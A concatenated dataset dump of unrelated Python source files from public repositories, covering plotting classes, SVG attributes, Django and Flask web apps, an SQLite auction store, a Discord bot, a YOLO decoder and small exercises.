self.plots[\"rgba\"] = self.figure.image_rgba(\n x=\"x\", y=\"y\", dw=\"dw\", dh=\"dh\", image=\"image\", source=self.source, name=\"rgba\"\n )\n\n def check_data_source(self):\n \"\"\"Check data sources.\"\"\"\n PlotImageBase.check_data_source(self)\n if self.source.data[\"image\"][0].dtype != np.uint8:\n raise ValueError(\"ImageRGBA expects 8-bit values\")\n\n def set_hover(self):\n \"\"\"Add hover to the image plot.\"\"\"\n tooltips = [(\"x, y\", \"$x{0.00}, $y{0.00}\")]\n if \"intensity\" in self.source.data:\n tooltips.append((\"intensity\", \"@intensity\"))\n else:\n tooltips.append((\"intensity\", \"@image\"))\n\n if \"r\" in self.source.data:\n tooltips.append((\"(R, G, B A)\", \"@r, @g, @b, @a\"))\n\n self.figure.add_tools(HoverTool(show_arrow=True, tooltips=tooltips))\n","repo_name":"lukasz-migas/plotski","sub_path":"src/plotski/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":6924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5776660853","text":"from RGT.XML.SVG.Attribs.basicSvgAttribute import BasicSvgAttribute\r\nfrom types import StringType\r\n\r\n\r\nclass ConditionalProcessingAttributes(BasicSvgAttribute):\r\n ATTRIBUTE_REQUIRED_FEATURES = 'requiredFeatures'\r\n ATTRIBUTE_REQUIRED_EXTENSIONS = 'requiredExtensions'\r\n ATTRIBUTE_SYSTEM_LANGUAGE = 'systemLanguage'\r\n\r\n def setRequiredFeatures(self, features):\r\n if features is not None:\r\n if type(features) != StringType:\r\n raise TypeError('extensions must be a string with a list of URLs separated by a space')\r\n self._setNodeAttribute(self.ATTRIBUTE_REQUIRED_FEATURES, features)\r\n\r\n def setRequiredExtension(self, extensions):\r\n if extensions is not None:\r\n if type(extensions) != StringType:\r\n raise TypeError('extensions must be a string with a list of URLs separated by a space')\r\n self._setNodeAttribute(self.ATTRIBUTE_REQUIRED_EXTENSIONS, extensions)\r\n\r\n def setSystemLanguage(self, sysLanguage):\r\n if sysLanguage is not None:\r\n if type(sysLanguage) != StringType:\r\n raise TypeError('extensions must be a string with a list of URLs separated by a comma')\r\n self._setNodeAttribute(self.ATTRIBUTE_SYSTEM_LANGUAGE, sysLanguage)\r\n\r\n\r\n def getRequiredFeatures(self):\r\n featureNode = self._getNodeAttribute(self.ATTRIBUTE_REQUIRED_FEATURES)\r\n if featureNode is not None:\r\n return featureNode.nodeValue\r\n return None\r\n\r\n\r\n def getRequiredExtension(self):\r\n extensionNode = self._getNodeAttribute(self.ATTRIBUTE_REQUIRED_EXTENSIONS)\r\n if extensionNode is not None:\r\n return extensionNode.nodeValue\r\n return None\r\n\r\n def getSystemLanguage(self):\r\n languageNode = self._getNodeAttribute(self.ATTRIBUTE_SYSTEM_LANGUAGE)\r\n if languageNode is not None:\r\n return languageNode.nodeValue\r\n return None\r\n ","repo_name":"danrg/RGT-tool","sub_path":"src/RGT/XML/SVG/Attribs/conditionalProcessingAttributes.py","file_name":"conditionalProcessingAttributes.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"}
+{"seq_id":"33917514947","text":"from django.db import models\n# import datetime \nfrom datetime import datetime\n\n\n\n\nclass ShowManager(models.Manager):\n def basic_validator(self, postData):\n errors = {}\n# add keys and values to errors dictionary for each invalid field\n if len(postData['title']) < 2:\n errors[\"title\"] = \"Show title should be at least 2 characters\"\n title_validate_unique=Show.objects.filter(title=postData['title'])\n if len(title_validate_unique)> 0:\n errors['title_unique'] = \"Show already exists!\"\n if len(postData['network']) < 3:\n errors[\"network\"] = \"Show network should be at least 3 characters\"\n if len(postData['desc']) < 10:\n errors[\"desc\"] = \"Show description should be at least 10 characters\"\n releasedate = datetime.strptime(postData[\"date\"], \"%Y-%m-%d\")\n if releasedate > datetime.now():\n errors[\"date\"]=\"Release date should be in the past\"\n return errors\n \n \n \n \nclass Show(models.Model):\n title = models.CharField(max_length=255)\n network = models.CharField(max_length=255)\n desc=models.TextField()\n release_date = models.DateTimeField()\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n objects = ShowManager()\n","repo_name":"Shtaiwee1/Python","sub_path":"Django/django_full_stack/semi_rest_TV_shows/TV_shows_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"18795620633","text":"import sqlite3\nfrom reagent import Reagent\n\n\nclass Store:\n def __init__(self, database):\n self.database = database\n self.conn = sqlite3.connect(self.database)\n self.__auctions = AuctionsTable(self)\n self.__downloads = DownloadsTable(self)\n self.__recipes = RecipesTable(self)\n self.__reagents = ReagentsTable(self)\n self.__quantities = QuantitiesTable(self)\n self.__credentials = CredentialsTable(self)\n self.__cache = CacheTable(self)\n self.__initialize()\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n self.conn.close()\n\n def __initialize(self):\n self.__auctions.create_if_exists()\n self.__downloads.create_if_exists()\n self.__recipes.create_if_exists()\n self.__reagents.create_if_exists()\n self.__quantities.create_if_exists()\n self.__credentials.create_if_exists()\n self.__cache.create_if_exists()\n\n def add_auctions(self, listings, datetime):\n self.__auctions.insert(listings)\n self.__downloads.insert(datetime)\n\n def get_last_download(self):\n cur = self.conn.execute(\n 'SELECT datetime FROM downloads ORDER BY datetime DESC LIMIT 1')\n datetime = cur.fetchone()\n return datetime[0] if datetime is not None else None\n\n def get_reagents_price(self, recipe_id):\n datetime = self.get_last_download()\n if datetime is None:\n print('download from auction house first before searching.')\n return None\n cur = self.conn.execute('''\n SELECT q.item_id, r.name, r.craftable, q.quantity, a.price\n FROM quantities q\n INNER JOIN reagents r\n ON q.item_id = r.item_id\n AND recipe_id = ?\n INNER JOIN (\n SELECT * FROM auctions\n WHERE datetime = ?\n ) a ON q.item_id = a.item_id\n ''', (recipe_id, datetime))\n return cur.fetchall()\n\n def get_price(self, item_id):\n datetime = self.get_last_download()\n if datetime is None:\n print('download from auction house first before searching.')\n return None\n cur = self.conn.execute('''\n SELECT price\n FROM auctions\n WHERE item_id = ? and datetime = ?\n ''', (item_id, datetime))\n return cur.fetchone()\n\n def get_price_by_name(self, item_name):\n cur = self.conn.execute('''\n SELECT item_id\n FROM reagents\n WHERE name = ?\n ''', (item_name,))\n item_id = cur.fetchone()\n if item_id is None:\n return None\n return self.get_price(item_id[0])\n\n def get_price_history(self, item_name):\n cur = self.conn.execute('''\n SELECT item_id\n FROM reagents\n WHERE name = ?\n ''', (item_name,))\n item_id = cur.fetchone()\n if item_id is None:\n return None\n cur = self.conn.execute('''\n SELECT *\n FROM auctions\n WHERE item_id = ?\n ''', (item_id[0],))\n return cur.fetchall()\n\n def add_recipes(self, recipes):\n self.__recipes.insert(recipes)\n for recipe in recipes:\n self.__reagents.upsert(recipe.item_id, recipe.item_name, 1)\n self.__reagents.insert_list(recipe.reagents)\n self.__quantities.insert(recipe.id, recipe.reagents)\n\n def get_recipe(self, id):\n recipe = None\n cur = self.conn.execute('''\n SELECT r.*, i.name FROM (SELECT *\n FROM recipes\n WHERE item_id = ?) r\n INNER JOIN reagents AS i\n ON r.item_id = i.item_id\n ''', (id,))\n recipe = cur.fetchone()\n if recipe is None:\n cur = self.conn.execute('''\n SELECT r.*, i.name FROM (SELECT *\n FROM recipes\n WHERE name = ?) r\n INNER JOIN reagents AS i\n ON r.item_id = i.item_id\n ''', (id,))\n recipe = cur.fetchone()\n return recipe\n\n def get_recipe_count(self, profession, skill_tier):\n cur = self.conn.execute(\n 'SELECT COUNT(*) FROM recipes WHERE profession = ? AND skilltier = ?', (profession, skill_tier))\n return cur.fetchone()[0]\n\n def get_all_reagent_ids(self):\n cur = self.conn.execute('SELECT item_id FROM reagents')\n return [i[0] for i in cur.fetchall()]\n\n def get_all_reagents(self):\n cur = self.conn.execute('SELECT * FROM reagents')\n return cur.fetchall()\n\n def get_credentials(self):\n return self.__credentials.get()\n\n def add_or_replace_credentials(self, client_id, client_secret, datetime):\n creds = self.__credentials.get()\n if creds is not None:\n self.__credentials.clear()\n self.__credentials.insert(client_id, client_secret, datetime)\n\n def clear_credentials(self):\n self.__credentials.clear()\n\n def get_cache(self):\n return self.__cache.get()\n\n def update_cache(self, realm_name):\n self.__cache.update(realm_name)\n\n\nclass Table:\n def __init__(self, store):\n self.store = store\n\n def create_if_exists(self):\n pass\n\n\nclass AuctionsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS auctions\n (\n item_id TEXT NOT NULL,\n price INTEGER NOT NULL,\n quantity INTEGER NOT NULL,\n datetime TEXT NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def insert(self, auctions):\n auctions_insert = [(a.id, a.price, a.quantity, a.datetime)\n for a in auctions]\n self.store.conn.executemany(\n 'INSERT INTO auctions VALUES (?, ?, ?, ?)', auctions_insert)\n self.store.conn.commit()\n\n\nclass DownloadsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS downloads\n (\n datetime TEXT NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def insert(self, datetime):\n self.store.conn.execute(\n 'INSERT INTO downloads VALUES (?)', (datetime,))\n self.store.conn.commit()\n\n\nclass RecipesTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS recipes\n (\n recipe_id INTEGER NOT NULL PRIMARY KEY,\n profession INTEGER NOT NULL,\n skilltier INTEGER NOT NULL,\n name TEXT NOT NULL,\n item_id TEXT NOT NULL,\n crafted_quantity INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def insert(self, recipes):\n recipes_insert = [(r.id, r.profession, r.skill_tier, r.name,\n r.item_id, r.crafted_quantity) for r in recipes]\n self.store.conn.executemany(\n 'INSERT INTO recipes VALUES (?, ?, ?, ?, ?, ?)', recipes_insert)\n self.store.conn.commit()\n\n\nclass ReagentsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS reagents\n (\n item_id TEXT NOT NULL PRIMARY KEY,\n name TEXT NOT NULL,\n craftable INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def upsert(self, item_id, name, craftable):\n self.store.conn.execute('''\n INSERT INTO reagents\n VALUES (?, ?, ?)\n ON CONFLICT (item_id)\n DO UPDATE SET craftable = ?\n ''', (item_id, name, craftable, craftable))\n self.store.conn.commit()\n\n def insert_list(self, items):\n items_insert = [(i.id, i.name, 0) for i in items]\n self.store.conn.executemany(\n 'INSERT OR IGNORE INTO reagents VALUES (?, ?, ?)', items_insert)\n self.store.conn.commit()\n\n\nclass QuantitiesTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS quantities\n (\n item_id TEXT NOT NULL,\n recipe_id INTEGER NOT NULL,\n quantity INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def get(self, recipe_id):\n cur = self.store.conn.execute(\n 'SELECT * FROM quantities WHERE recipe_id = ?', recipe_id)\n return cur.fetchall()\n\n def insert(self, recipe_id, items):\n quantities_insert = [(i.id, recipe_id, i.quantity) for i in items]\n self.store.conn.executemany(\n 'INSERT OR IGNORE INTO quantities VALUES (?, ?, ?)', quantities_insert)\n self.store.conn.commit()\n\n\nclass CredentialsTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS credentials\n (\n client_id TEXT NOT NULL,\n client_secret TEXT NOT NULL,\n datetime TEXT NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def get(self):\n cur = self.store.conn.execute('SELECT * FROM credentials')\n return cur.fetchone()\n\n def insert(self, client_id, client_secret, datetime):\n self.store.conn.execute(\n 'INSERT INTO credentials VALUES (?, ?, ?)', (client_id, client_secret, datetime))\n self.store.conn.commit()\n\n def clear(self):\n self.store.conn.execute('DELETE FROM credentials')\n self.store.conn.commit()\n\n\nclass CacheTable(Table):\n def create_if_exists(self):\n self.store.conn.execute('''\n CREATE TABLE IF NOT EXISTS cache\n (\n realm_name INTEGER NOT NULL\n )\n ''')\n self.store.conn.commit()\n\n def get(self):\n cur = self.store.conn.execute('SELECT * FROM cache')\n return cur.fetchone()\n\n def update(self, realm_name):\n self.store.conn.execute('DELETE FROM cache')\n self.store.conn.execute('INSERT INTO cache VALUES (?)', (realm_name,))\n self.store.conn.commit()\n","repo_name":"DevinCarr/eternal-auction","sub_path":"store.py","file_name":"store.py","file_ext":"py","file_size_in_byte":10086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"13351547594","text":"import sys\nsys.path.insert(1,\"../../\")\nfrom tests import pyunit_utils\n\ndef orc_parser_baddata():\n \"\"\"\n This test is used to verify if the orc parser warnings from backend is passed down to python client\n when parsing orc files with unsupported data types or bad data value.\n\n :return: None or a fit if no warning is captured\n \"\"\"\n fileWithPath = \"smalldata/parser/orc/TestOrcFile.testStringAndBinaryStatistics.orc\"\n assert pyunit_utils.expect_warnings(fileWithPath, \"UserWarning:\", \"Skipping field:\", 1), \\\n \"Expect warnings from orc parser for file \"+fileWithPath+\"!\"\n\n fileWithPath = \"smalldata/parser/orc/TestOrcFile.emptyFile.orc\"\n assert pyunit_utils.expect_warnings(fileWithPath, \"UserWarning:\", \"Skipping field:\", 4), \\\n \"Expect warnings from orc parser for file \"+fileWithPath+\"!\"\n\n fileWithPath = \"smalldata/parser/orc/nulls-at-end-snappy.orc\"\n assert pyunit_utils.expect_warnings(fileWithPath, \"UserWarning:\", \"Long.MIN_VALUE:\", 1), \\\n \"Expect warnings from orc parser for file \"+fileWithPath+\"!\"\n\nif __name__ == \"__main__\":\n pyunit_utils.standalone_test(orc_parser_baddata)\nelse:\n orc_parser_baddata()\n","repo_name":"h2oai/h2o-3","sub_path":"h2o-py/tests/testdir_parser/pyunit_NOFEATURE_orc_parser_baddata.py","file_name":"pyunit_NOFEATURE_orc_parser_baddata.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":6553,"dataset":"github-code","pt":"61"}
+{"seq_id":"31251792134","text":"import time\nimport gevent\nfrom gevent.event import Event\n\n\ndef check_if_string_in_file(file_name, string_to_search):\n with open(file_name, 'r') as read_obj:\n for line in read_obj:\n if string_to_search in line:\n return True\n return False\n\n\ndef reader(file_name, string_to_search):\n try:\n check_if_string_in_file(file_name, string_to_search)\n except FileNotFoundError:\n print('no file - function is asleep')\n time.sleep(5)\n return False\n else:\n event.set()\n print('The word was found')\n return True\n\n\ndef deleter(file_name):\n event.wait()\n del file_name\n print('File deleted')\n\n\nwhile True:\n event = Event()\n\n name = str(input('Enter file name: '))\n if not reader(name, \"Wow!\"):\n continue\n deleter(name)\n","repo_name":"MikeKorotkov/python_course_2","sub_path":"itvdn_lesson3_task2_read.py","file_name":"itvdn_lesson3_task2_read.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5119410599","text":"import discord\r\nfrom discord.ext import commands\r\nimport asyncio\r\nimport json\r\n\r\nintents = discord.Intents.all()\r\nintents.members = True\r\n\r\nwith open('config.json') as json_file:\r\n data = json.load(json_file)\r\n for t in data['config']:\r\n client = commands.Bot(command_prefix = t['PREFIX'], intents=intents)\r\n\r\nclient.remove_command(\"help\")\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(\"Bot connected\")\r\n await client.load_extension(f\"cogs.user\")\r\n await client.load_extension(f\"cogs.admin_com\")\r\n\r\n@client.event\r\nasync def on_command_error(ctx, error):\r\n if isinstance(error, commands.errors.MissingRequiredArgument):\r\n title_error_two = 'Введенная вами команда не существует'\r\n desc_error_two = 'Используйте **-help**, чтобы просмотреть список доступных команд'\r\n embed_var_two = discord.Embed(title=title_error_two,\r\n description=desc_error_two,\r\n color=0xFF0000)\r\n await ctx.reply(embed=embed_var_two)\r\n\r\n@client.command()\r\n@commands.is_owner()\r\nasync def load(ctx, extension):\r\n await client.load_extension(f\"cogs.{extension}\")\r\n await ctx.send(\"Загрузка cogs\")\r\n\r\n@commands.is_owner()\r\n@client.command()\r\nasync def unload(ctx, extension):\r\n await client.unload_extension(f\"cogs.{extension}\")\r\n await ctx.send(\"Удаление кога\")\r\n\r\n@client.command()\r\n@commands.is_owner()\r\nasync def reload(ctx, extension):\r\n await client.unload_extension(f\"cogs.{extension}\")\r\n await client.load_extension(f\"cogs.{extension}\")\r\n await ctx.send(\"Перезагрузка cogs\")\r\n\r\ndef main():\r\n client.run(t['TOKEN'])\r\n\r\nif __name__ == \"__main__\":\r\n loop = asyncio.get_event_loop()\r\n loop.run_until_complete(main())\r\n","repo_name":"MaestroPepe/SandwichCommunityBot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"73255307393","text":"\"\"\" https://github.com/tztztztztz/yolov2.pytorch \"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\nfrom utils.bbox import generate_all_anchors, xywh2xxyy, box_transform_inv, xxyy2xywh, box_ious\nfrom config import Config as cfg\n\n\ndef filter_boxes(boxes_pred, conf_pred, confidence_threshold=0.6):\n \"\"\"\n Filter boxes whose confidence is lower than a given threshold\n\n Arguments:\n boxes_pred -- tensor of shape (H * W * num_anchors, 4) (x1, y1, x2, y2) predicted boxes\n conf_pred -- tensor of shape (H * W * num_anchors, 1)\n threshold -- float, threshold used to filter boxes\n\n Returns:\n filtered_boxes -- tensor of shape (num_positive, 4)\n filtered_conf -- tensor of shape (num_positive, 1)\n \"\"\"\n pos_inds = (conf_pred > confidence_threshold).view(-1)\n\n filtered_boxes = boxes_pred[pos_inds, :]\n\n filtered_conf = conf_pred[pos_inds, :]\n\n return filtered_boxes, filtered_conf\n\n\ndef nms(boxes, scores, threshold):\n \"\"\"\n Apply Non-Maximum-Suppression on boxes according to their scores\n\n Arguments:\n boxes -- tensor of shape (N, 4) (x1, y1, x2, y2)\n scores -- tensor of shape (N) confidence\n threshold -- float. NMS threshold\n\n Returns:\n keep -- tensor of shape (None), index of boxes which should be retain.\n \"\"\"\n\n score_sort_index = torch.sort(scores, dim=0, descending=True)[1]\n\n keep = []\n\n while score_sort_index.numel() > 0:\n\n i = score_sort_index[0]\n keep.append(i)\n\n if score_sort_index.numel() == 1:\n break\n\n cur_box = boxes[score_sort_index[0], :].view(-1, 4)\n res_box = boxes[score_sort_index[1:], :].view(-1, 4)\n\n ious = box_ious(cur_box, res_box).view(-1)\n\n inds = torch.nonzero(ious < threshold).squeeze()\n\n score_sort_index = score_sort_index[inds + 1].view(-1)\n\n return torch.LongTensor(keep)\n\n\ndef generate_prediction_boxes(deltas_pred):\n \"\"\"\n Apply deltas prediction to pre-defined anchors\n\n Arguments:\n deltas_pred -- tensor of shape (H * W * num_anchors, 4) σ(t_x), σ(t_y), σ(t_w), σ(t_h)\n\n Returns:\n boxes_pred -- tensor of shape (H * W * num_anchors, 4) (x1, y1, x2, y2)\n \"\"\"\n\n H = int(cfg.im_w / cfg.strides)\n W = int(cfg.im_h / cfg.strides)\n\n anchors = torch.FloatTensor(cfg.anchors)\n all_anchors_xywh = generate_all_anchors(anchors, H, W) # shape: (H * W * num_anchors, 4), format: (x, y, w, h)\n\n all_anchors_xywh = deltas_pred.new(*all_anchors_xywh.size()).copy_(all_anchors_xywh)\n\n boxes_pred = box_transform_inv(all_anchors_xywh, deltas_pred)\n\n return boxes_pred\n\n\ndef scale_boxes(boxes, im_info):\n \"\"\"\n scale predicted boxes\n\n Arguments:\n boxes -- tensor of shape (N, 4) xxyy format\n im_info -- dictionary {width:, height:}\n\n Returns:\n scaled_boxes -- tensor of shape (N, 4) xxyy format\n\n \"\"\"\n\n h = im_info['height']\n w = im_info['width']\n\n input_h, input_w = cfg.im_h, cfg.im_h\n scale_h, scale_w = input_h / float(h), input_w / float(w)\n\n # scale the boxes\n boxes *= cfg.strides\n\n boxes[:, 0::2] /= scale_w\n boxes[:, 1::2] /= scale_h\n\n boxes = xywh2xxyy(boxes)\n\n # clamp boxes\n boxes[:, 0::2].clamp_(0, w-1)\n boxes[:, 1::2].clamp_(0, h-1)\n\n return boxes\n\n\ndef decode(model_output, im_info, conf_threshold=0.6, nms_threshold=0.4):\n \"\"\"\n Evaluates the model output and generates the final predicted boxes\n\n Arguments:\n model_output -- list of tensors (deltas_pred, conf_pred, classes_pred)\n\n deltas_pred -- tensor of shape (H * W * num_anchors, 4) σ(t_x), σ(t_y), σ(t_w), σ(t_h)\n conf_pred -- tensor of shape (H * W * num_anchors, 1)\n classes_pred -- tensor of shape (H * W * num_anchors, num_classes)\n\n im_info -- dictionary {w:, h:}\n\n threshold -- float, threshold used to filter boxes\n\n\n Returns:\n detections -- tensor of shape (None, 7) (x1, y1, x2, y2, conf)\n \"\"\"\n\n deltas = model_output[0].cpu()\n conf = model_output[1].cpu()\n\n # apply deltas to anchors\n boxes = generate_prediction_boxes(deltas)\n\n # filter boxes on confidence score\n boxes, conf = filter_boxes(boxes, conf, conf_threshold)\n\n # no detection !\n if boxes.size(0) == 0:\n return []\n\n # scale boxes\n boxes = scale_boxes(boxes, im_info)\n\n # apply nms\n keep = nms(boxes, conf.view(-1), nms_threshold)\n boxes_keep = boxes[keep, :]\n conf_keep = conf[keep, :]\n\n #\n seq = [boxes_keep, conf_keep]\n\n return torch.cat(seq, dim=1)\n \"\"\" \n detections = []\n\n # apply NMS classwise\n for cls in range(num_classes):\n cls_mask = cls_max_id == cls\n inds = torch.nonzero(cls_mask).squeeze()\n\n if inds.numel() == 0:\n continue\n\n boxes_pred_class = boxes[inds, :].view(-1, 4)\n conf_pred_class = conf[inds, :].view(-1, 1)\n cls_max_conf_class = cls_max_conf[inds].view(-1, 1)\n\n nms_keep = yolo_nms(boxes_pred_class, conf_pred_class.view(-1), nms_threshold)\n\n boxes_pred_class_keep = boxes_pred_class[nms_keep, :]\n conf_pred_class_keep = conf_pred_class[nms_keep, :]\n cls_max_conf_class_keep = cls_max_conf_class.view(-1, 1)[nms_keep, :]\n\n seq = [boxes_pred_class_keep, conf_pred_class_keep, cls_max_conf_class_keep]\n\n detections_cls = torch.cat(seq, dim=-1)\n detections.append(detections_cls)\n\n return torch.cat(detections, dim=0)\n \"\"\"\n","repo_name":"cjvargasc/JNN_detection","sub_path":"model/decoder.py","file_name":"decoder.py","file_ext":"py","file_size_in_byte":5457,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"}
+{"seq_id":"31330961521","text":"from numpy import ndarray\r\n\r\ndef main():\r\n print(\"How many elements do you want in the array?\")\r\n numElement = int(input())\r\n a = ndarray((numElement),int)\r\n for i in range(0, numElement):\r\n print(\"what integer do you want at position \" + str(i))\r\n a[i] = int(input())\r\n quickSort(a, 0, len(a)-1)\r\n\r\ndef quickSort(array, low, high):\r\n if(low < high):\r\n p = partition(array, low, high)\r\n quickSort(array, low, p-1)\r\n quickSort(array, p+1, high)\r\n print(array)\r\n\r\ndef partition(array, low, high):\r\n pivot = array[high]\r\n i = low\r\n for j in range(low, high):\r\n if(array[j] < pivot):\r\n array[i], array[j] = array[j], array[i]\r\n i = i + 1\r\n array[i], array[high] = array[high], array[i]\r\n return i\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"abrahim-djordjevic/Python-algorithms","sub_path":"quickSort.py","file_name":"quickSort.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"20968605393","text":"from flask import Flask, request, render_template, redirect, jsonify, flash, session\nfrom models import db, connect_db, User, Feedback\nfrom forms import UserForm, LoginForm, FeedbackForm\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///feedbackDB'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['SQLALCHEMY_ECHO'] = True\napp.config['SECRET_KEY'] = \"seeeeecret\"\n\napp.app_context().push()\nconnect_db(app)\ndb.create_all()\n\n\n\n# GET /\n# Redirect to /register.\n@app.route('/')\ndef redirect_to_reg():\n return redirect('/register')\n\n# GET /register\n# Show a form that when submitted will register/create a user. This form should accept a username, password, email, first_name, and last_name.\n# POST /register\n# Process the registration form by adding a new user. Then redirect.\n@app.route('/register', methods = ['GET', 'POST'])\ndef get_register_form():\n\n form = UserForm()\n\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n email = form.email.data\n first_name = form.first_name.data.capitalize()\n last_name = form.last_name.data.capitalize()\n\n new_user = User(username=username, password=password, email = email, first_name = first_name, last_name = last_name)\n\n try:\n new_user.register\n except:\n flash(f'Username \"{username}\" is taken.')\n return redirect('/register')\n\n session['user_id'] = new_user.username\n return redirect(f'/users/{new_user.username}')\n \n else:\n\n return render_template('register-form.html', form = form)\n# Make sure you are using WTForms and that your password input hides the characters that the user is typing! \n\n# GET /login\n# Show a form that when submitted will login a user. This form should accept a username and a password.\n# POST /login\n# Process the login form, ensuring the user is authenticated.\n@app.route('/login', methods = ['GET', 'POST'])\ndef get_login_form():\n form = LoginForm()\n if form.validate_on_submit():\n username = form.username.data\n password = form.password.data\n \n try:\n \n\n user = User.query.filter_by(username = username).first()\n if user.authenticate(password):\n session['user_id'] = user.username\n return redirect(f'/users/{user.username}')\n else:\n flash('Incorrect Password.')\n return redirect('/login')\n \n except:\n flash('Username not recognized.')\n return redirect('/login')\n \n \n\n return render_template('login-form.html', form = form)\n\n# Make sure you are using WTForms and that your password input hides the characters that the user is typing!\n\n\n@app.route('/users/')\ndef get_user_page(username):\n if not logged_in:\n flash(f\"You must be logged in to view this page.\")\n return redirect('/login')\n else:\n user = User.query.get_or_404(username)\n return render_template('user-page.html', user = user)\n\n@app.route('/logout')\ndef logout_user():\n session.clear()\n\n return redirect('/')\n\n# POST /users//delete\n# Remove the user from the database and make sure to also delete all of their feedback. Clear any user information in the session and redirect to /. Make sure that only the user who is logged in can successfully delete their account\n\n@app.route('/users//delete', methods = ['POST'])\ndef delete_user(username):\n\n if has_permissions(username):\n User.query.filter_by(username = username).delete()\n db.session.commit()\n\n return redirect('/')\n else:\n flash('You do not have permissions to delete this user.')\n return redirect('/')\n\n\n# GET /users//feedback/add\n# Display a form to add feedback Make sure that only the user who is logged in can see this form\n# POST /users//feedback/add\n# Add a new piece of feedback and redirect to /users/ — Make sure that only the user who is logged in can successfully add feedback\n@app.route('/users//feedback/add', methods = ['GET', 'POST'])\ndef add_feedback(username):\n \n if not has_permissions(username):\n flash(f\"you do not have permissions to post feedback on {username}'s account.\")\n current_user = session['user_id']\n return redirect(f'/users/{current_user}')\n \n else:\n form = FeedbackForm()\n\n if form.validate_on_submit():\n title = form.title.data\n content = form.content.data\n\n feedback = Feedback(title = title, content = content, user_id = username)\n db.session.add(feedback)\n db.session.commit()\n\n return redirect(f'/users/{username}')\n\n else:\n\n return render_template('feedback-form.html', form = form)\n\n\n# GET /feedback//update\n# Display a form to edit feedback — **Make sure that only the user who has written that feedback can see this form **\n# POST /feedback//update\n@app.route('/feedback//update', methods = ['GET', 'POST'])\ndef edit_feedback(feedback_id):\n \n\n feedback = Feedback.query.get_or_404(feedback_id)\n\n if has_permissions(feedback.user_id):\n \n form = FeedbackForm(obj = feedback)\n \n if form.validate_on_submit():\n form.populate_obj(feedback)\n db.session.commit()\n return redirect(f'/users/{feedback.user_id}')\n else:\n return render_template('edit-feedback-form.html', form = form, feedback = feedback)\n else:\n flash('You do not have permissions to edit that form.')\n return redirect('/')\n\n# POST /feedback//delete\n# Delete a specific piece of feedback and redirect to /users/ — Make sure that only the user who has written that feedback can delete it\n@app.route('/feedback//delete', methods = ['POST'])\ndef delete_feedback(feedback_id):\n feedback = Feedback.query.get_or_404(feedback_id)\n\n if has_permissions(feedback.user_id):\n Feedback.query.filter_by(id = feedback_id).delete()\n db.session.commit()\n current_user = session['user_id']\n return redirect(f'/users/{current_user}')\n else:\n flash('You do not have permissions to delete that feedback.')\n return redirect('/')\n\n\n\n\ndef logged_in():\n\n return (True if 'user_id' in session else False)\n \ndef has_permissions(username):\n\n if logged_in() and session['user_id'] == username:\n\n return True\n \n else:\n\n return False\n \n \n","repo_name":"RTaylorAshka/Flask-Feedback","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
